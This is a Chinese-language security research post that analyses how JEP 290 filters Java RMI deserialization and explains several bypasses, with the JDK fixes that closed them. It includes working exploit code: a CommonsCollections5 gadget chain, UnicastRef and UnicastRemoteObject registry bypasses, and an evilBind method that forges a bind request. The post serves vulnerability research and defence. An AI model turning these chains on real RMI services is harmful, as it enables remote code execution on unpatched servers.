本文主要介绍一下 JEP 290 这个特性,分析它是如何保护 RMI 免受反序列化攻击的,以及有哪些方法可以绕过 JEP 290 对 RMI 进行反序列化攻击。

在之前的文章《Java RMI》中介绍了 RMI 机制可能遭受反序列化漏洞攻击的几种情况,但那是在没有 JEP 290 机制的前提下进行的。JEP 290 是在 Java9 中新增的安全特性,为反序列化流程提供了检验和过滤机制,并且该特性向前移植到了 JDK 6/7/8 中。

JEP 290 简介

JEP 290 的核心过程就是序列化客户端通过实现 ObjectInputFilter 接口来创建一个过滤器,并调用 setObjectInputFilter 方法将它设置到 ObjectInputStream 中。这个过滤器会在反序列化过程中被调用,对即将反序列化的类进行检验和过滤,然后返回 ACCEPTED、 REJECTED 或者 UNDECIDED 这几个状态1

JEP 290 主要的特点如下:

  1. 提供灵活的机制,让开发者可以通过黑白名单限制要反序列化的类;
  2. 反序列化时可以设置指标来限制反序列化的深度和复杂度;
  3. 为 RMI 远程对象提供类验证机制;
  4. 过滤器不能修改或继承 ObjectInputStream 的现存子类;
  5. 定义一个可以通过 properties 或者文件来配置的全局过滤器。

检验过程分析

之前的文章中我们分析过,注册中心调用 bind 方法注册远程对象时,会对服务端传来的对象进行反序列化,如果这是一个恶意对象就可能导致命令执行。那么在 JEP 290 机制的保护下结果是怎样呢?

我们使用 JDK 8u212 测试一下,Server 端返回以下错误:

/ox-hugo/2021-04-18_15-42-06_screenshot.png

在 ObjectInputStream#filterCheck 方法中对反序列化类进行了检验,返回的状态是 REJECTED 导致抛出异常。从 Registry 的输出可以看到被过滤的类是 AnnotationInvocationHandler:

/ox-hugo/2021-04-18_15-45-53_screenshot.png

根据错误信息给出的调用栈,我们跟进一下重要的方法。首先来到注册远程对象的逻辑代码中,bind 方法对应的操作码是 0,进入 case 0 语句块,先后反序列化远程对象的名称和实现了 Remote 接口的远程对象:

/ox-hugo/2021-04-18_16-06-30_screenshot.png

跟进 readObject 过程,这时要反序列化的是我们传过来的恶意对象,所以进入到 ObjectInputStream#readOrdinaryObject 方法,并调用 readClassDesc 来获取类描述符。

根据是否为动态代理类会调用不同的方法进行处理,而我们发送的恶意对象是一个动态代理类,它的 InvocationHandler 属性是被过滤掉的 AnnotationInvocationHandler。因此调用 readProxyDesc:

/ox-hugo/2021-04-18_16-15-41_screenshot.png

在 readProxyDesc 中会对 interfaces 属性中的接口依次进行检验:

/ox-hugo/2021-04-18_16-18-11_screenshot.png

此时动态代理类的接口列表只有一个 Remote 类,通过了检验。然后再调用一次 filterCheck 来检验代理类本身:

/ox-hugo/2021-04-18_16-23-31_screenshot.png

com.sun.proxy.$Proxy 是由 Proxy#newProxyInstance 方法在运行时生成的对象,并没有对应的源代码。

然后增加递归深度 depth 和引用总数 totalObjectRefs,递归调用 readClassDesc 方法获取类描述符:

/ox-hugo/2021-04-18_17-36-55_screenshot.png

这次进入的是 readNonProxyDesc 方法,继续调用 filterCheck 检验当前类,然后递归执行:

/ox-hugo/2021-04-18_17-40-43_screenshot.png

这里注意区分 java.lang.reflect.Proxy 和上面的 com.sun.proxy.$Proxy ,后者通过前者的 newProxyInstance 方法生成。

获取了最外层的动态代理类的描述符之后,回到 ObjectInputStream#readOrdinaryObject 方法中,然后对属性对象进行反序列化。过程和之前类似,在 readNonProxyDesc 方法中调用 filterCheck 检验 AnnotationInvocationHandler 类。这次我们跟进分析一下 filterCheck 方法:

/ox-hugo/2021-04-18_18-10-45_screenshot.png

可以看到调用了 serialFilter.checkInput 来进行检验,从 RegistryImpl 类中找到实现检验逻辑的 registryFilter 方法:

/ox-hugo/2021-04-18_18-27-12_screenshot.png
private static Status registryFilter(FilterInfo var0) {
    ...
    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        Class var2 = var0.serialClass();
        if (var2 != null) {
            if (!var2.isArray()) {
                return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
            } else {
                return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
            }
        } else {
            return Status.UNDECIDED;
        }
    }
}

除了限制了反序列化的深度以外,还设置了一个白名单,要求目标类继承于白名单的类,显然 AnnotationInvocationHandler 类并不符合要求。

这个 serialFilter 过滤器是在 UnicastServerRef#unmarshalCustomCallData 方法中设置的:

/ox-hugo/2021-04-18_20-11-44_screenshot.png
protected void unmarshalCustomCallData(ObjectInput var1) throws IOException, ClassNotFoundException {
    if (this.filter != null && var1 instanceof ObjectInputStream) {
        final ObjectInputStream var2 = (ObjectInputStream)var1;
        AccessController.doPrivileged(new PrivilegedAction<Void>() {
            public Void run() {
                Config.setObjectInputFilter(var2, UnicastServerRef.this.filter);
                return null;
            }
        });
    }
}

通过以上分析过程,注意到 JEP 290 在 RMI 中有两个关键点——一是要通过 Config.setObjectInputFilter 设置过滤器;二是过滤器中设置了白名单。那么想要绕过 JEP 290 自然会有两个思路,找到一个序列化流,它在反序列化传入的对象前没有设置过滤器,或者利用符合白名单条件的类进行攻击。

未设置过滤器

调用注册中心的 bind、rebind、lookup 等方法都会经过 UnicastServerRef#oldDispatch,设置 serialFilter 进行白名单检测。但是除此之外,反序列化过程也存在于远程方法的调用时,方法的参数和返回值分别在 Server 端和 Client 端进行反序列化,如果它们是 Object 类,我们可以传递一个恶意对象完成攻击。

在远程对象中声明一个方法 attackServer,接收 Object 对象作为参数,Client 端调用 attackServer 并传入 cc5 构造的恶意对象。

// CommonsCollections5
Transformer[] transformers = new Transformer[] {...};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException evilObj = new BadAttributeValueExpException(null);
Field valfield = evilObj.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(evilObj, entry);

Registry reigstry = LocateRegistry.getRegistry(3333);
User user = (User) reigstry.lookup("User");
user.attackServer(evilObj);

通过参数传递的恶意对象成功反序列化并执行命令,再尝试远程方法中 return 一个恶意对象来攻击 Client 端,同样成功执行命令,显然 JEP 290 在此时没有起到作用。在 filterCheck 方法下个断点,当检验 BadAttributeValueExpException 类时, serialFilter 为 null:

/ox-hugo/2021-04-19_02-04-35_screenshot.png

从调用栈可以发现 UnicastServerRef 对象在处理 Client 请求反序列化参数前,也执行了 unmarshalCustomCallData 方法,不过 filter 属性为 null,没有设置任何过滤器:

/ox-hugo/2021-04-19_02-14-35_screenshot.png

虽然通过远程对象的方法进行反序列化攻击没有受到 JEP 290 的影响,但是现实中这些方法不太可能直接接收一个 Object 对象作为参数或者返回值,而通常是其派生类或者一些基本类型。

好在客户端的代码是完全可控的,虽然直接调用方法传递非法对象会引起异常,但是完全可以在方法执行后,序列化数据发送前进行修改。比如,像《Java RMI》中攻击 lookup 过程一样伪造客户端的请求流程,或者通过 Javassist、ASM 等包直接修改字节码等等。

本来打算在本文介绍通过 RASP 在运行时修改目标参数(hook)的形式实现反序列化攻击,但考虑到篇幅问题,而且 RASP 的实现也涉及 Java Agent、JVMTI、Instrumentation 等一些重要的知识点,所以决定完整学习后再分享文章。具体实现可以参考:RemoteObjectInvocationHandler

UnicastRef

JDK 8u231 之前,可以利用 UnicastRef 这个白名单中的类绕过 JEP 290。先让注册中心反序列化该类,它可以发起一个 JRMP 连接到恶意服务端上,从而在 DGC(Distributed Garbage Collection) 层反序列化服务端返回的对象,因为 DGC 层的 filter 是在反序列化之后进行设置的,没有起到实际作用2

/ox-hugo/unicastref.png

示例代码:

ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12333); // JRMPListener's port is 12333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
registry.bind("User", obj);

构造一个 RemoteObjectInvocationHandler 发送给注册中心,它的 ref 属性里面保存了 JRMPListener 的端口信息,示例代码中的几个类都在 RMI 白名单中。注册中心进行 bind 时会调用其父类 Remote 的 readObject 方法进行反序列化,并通过 UnicastRef#readExternal 封装我们写入的 IP 和端口信息。此时的调用栈如下:

read:315, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
...
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
...

跟进 LiveRef#read 方法:

/ox-hugo/2021-04-20_02-13-01_screenshot.png

这里将端口信息保存到 LiveRef 对象中,这些信息会在后面发送 JRMP 请求时用到。然后返回 RegistryImpl_Skel#dispatch 流程,执行 releaseInputStream 方法。一直跟进到以下代码,执行 DGCClient#registerRefs 并且参数包含恶意服务端的端口信息:

/ox-hugo/2021-04-20_14-25-33_screenshot.png

执行到 DGCImpl_Stub#dirty:

/ox-hugo/2021-04-20_14-55-00_screenshot.png

可以看到在 ref 属性中包含服务端的端口信息,通过 newCall 建立 JRMP 连接, writeObject 写入要发送的数据,然后调用 invoke 方法处理(发送)请求。在 StreamRemoteCall#executeCall 方法中获取连接的输入流,并执行 readObject 反序列化从输入流获取的对象:

/ox-hugo/2021-04-20_15-05-38_screenshot.png

此时的调用栈如下:

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:96, RegistryImpl_Skel (sun.rmi.registry)
...

跟进这个流的反序列化过程,就能看到在执行 filterCheck 方法检查恶意类 BadAttributeValueExpException 时,还没有设置过滤器。

/ox-hugo/2021-04-20_15-11-10_screenshot.png

因此恶意对象被成功反序列化,导致命令执行。

fix

这条利用链在 JDK 8u231 进行了修复,在 DGCImpl_Stub#dirty 中先设置了输入流的过滤器,导致恶意类无法通过检测。

/ox-hugo/2021-04-20_15-20-45_screenshot.png

UnicastRemoteObject

国外安全研究人员 @An Trinhs 发现了一条利用链,利用 UnicastRemoteObject 类可以进行反序列化攻击,而且在 JDK 8u231 依然有效。示例代码:

Registry registry = LocateRegistry.getRegistry(3333);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

// jdk8u231
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
    RMIServerSocketFactory.class.getClassLoader(),
    new Class[] {RMIServerSocketFactory.class, Remote.class},
    obj);
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject clz = (UnicastRemoteObject) constructor.newInstance(null);
Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
ssf.setAccessible(true);
ssf.set(clz, rmiServerSocketFactory);
evilBind(registry, "User", clz);

最后一行的 evilBind 方法是为了修改某个参数而伪造 bind 的请求逻辑,代码会在后面给出。

那么我们先分析一下 UnicastRemoteObject 的反序列化过程,它重写的 readObject 方法如下:

private void readObject(java.io.ObjectInputStream in) throws Exception
{
    in.defaultReadObject();
    reexport();
}

首先对输入流进行反序列化,完成当前对象属性的赋值,然后执行 reexport 方法。跟进该方法,当属性 ssf 不为 null 时,将它作为参数之一调用 exportObject 导出远程对象:

/ox-hugo/2021-04-20_21-05-54_screenshot.png

跟进到 TCPEndpoint#listen,生成了一个 var1 变量并调用其 newServerSocket 方法,而这个 var1 实则是我们构造的动态代理对象。

/ox-hugo/2021-04-20_21-25-06_screenshot.png

此时的调用栈如下:

listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
...

动态代理对象的处理类 RemoteObjectInvocationHandler,因此会执行到它的 invoke 方法中,如果代理的目标对象不是 Object 类,则调用 invokeRemoteMethod 来执行远程方法:

/ox-hugo/2021-04-21_02-11-57_screenshot.png

继续跟进 invokeRemoteMethod,要求当前的动态代理类实现 Remote 接口,然后执行 UnicastRef#invoke 和服务端(JRMPListener)进行连接,调用远程方法:

/ox-hugo/2021-04-21_02-14-09_screenshot.png
/ox-hugo/2021-04-21_02-22-08_screenshot.png

在 StreamRemoteCall#executeCall 中读取服务端返回的“状态码”,如果返回 1 则发生异常,如果返回 2 则顺利返回结果,在客户端(注册中心)对结果反序列化:

/ox-hugo/2021-04-21_02-31-53_screenshot.png

输入流 this.in 还没有设置过滤器,serialFilter 属性为空,因此恶意对象顺利反序列化导致代码执行。

最后再说回示例代码,我们注册对象时调用的并不是 RegistryImpl_Stub#bind,而是自己构造的 evilBind 方法。要了解原因就要分析一下正常的 bind 方法的执行流程,它在执行输出流的 writeObject 时,进行了以下判断:

/ox-hugo/2021-04-21_02-54-34_screenshot.png

可以看到有一个值为 true 的 enableReplace 属性,导致调用 replaceObject 方法来替换我们传入的对象。

protected final Object replaceObject(Object var1) throws IOException {
    if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
        Target var2 = ObjectTable.getTarget((Remote)var1);
        if (var2 != null) {
            return var2.getStub();
        }
    }
    return var1;
}

如果对象实现了 Remote 接口就会被替换掉,而这个利用链又要求该动态代理类实现 Remote 接口才能顺利进行,所以我们模仿 RegistryImpl_Stub#bind 的逻辑写一个新方法,在里面将 enableReplace 设置为 false。

evilBind

public static void evilBind(Registry reg, String var1, Remote var2) throws Exception {
    // 获取super.ref
    Field[] fields_0 = reg.getClass().getSuperclass().getSuperclass().getDeclaredFields();
    fields_0[0].setAccessible(true);
    UnicastRef ref = (UnicastRef) fields_0[0].get(reg);

    // 获取operations
    Field[] fields_1 = reg.getClass().getDeclaredFields();
    fields_1[0].setAccessible(true);
    Operation[] operations = (Operation[]) fields_1[0].get(reg);

    StreamRemoteCall var3 = (StreamRemoteCall) ref.newCall((RemoteObject) reg, operations, 0, 4905912898345647071L);
    try {
        ObjectOutput var4 = var3.getOutputStream();

        // 将enableReplace 设为 false
        Field er = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("enableReplace");
        er.setAccessible(true);
        er.set(var4, false);

        var4.writeObject(var1);
        var4.writeObject(var2);
    } catch (IOException var5) {
        throw new MarshalException("error marshalling arguments", var5);
    }

    ref.invoke(var3);
    ref.done(var3);
}

fix

JDK 8u241 中对这条利用链进行了修复,调用 UnicastRef#invoke 前先对动态代理的目标类进行判断,如果没有实现 Remote 接口就抛出异常。而 RMIServerSocketFactory 并不符合要求:

/ox-hugo/2021-04-21_03-34-39_screenshot.png

总结

JEP 290 的核心就是允许开发者通过实现 ObjectInputFilter 接口给输入流定义过滤器,再调用 ObjectInputStream#setInternalObjectInputFilter 为输入流设置对应的过滤器,只有符合条件的对象才能通过检测然后被反序列化。

远程对象的方法参数和返回值在进行反序列化时没有设置输入流的过滤器,只要想办法发送恶意对象就能成功反序列化。

如果要攻击注册中心, JDK 8u231 以下的版本可以利用 UnicastRef 和 UnicastRemoteObject 类绕过 JEP 290,而在 JDK 8u231 版本只能使用后者。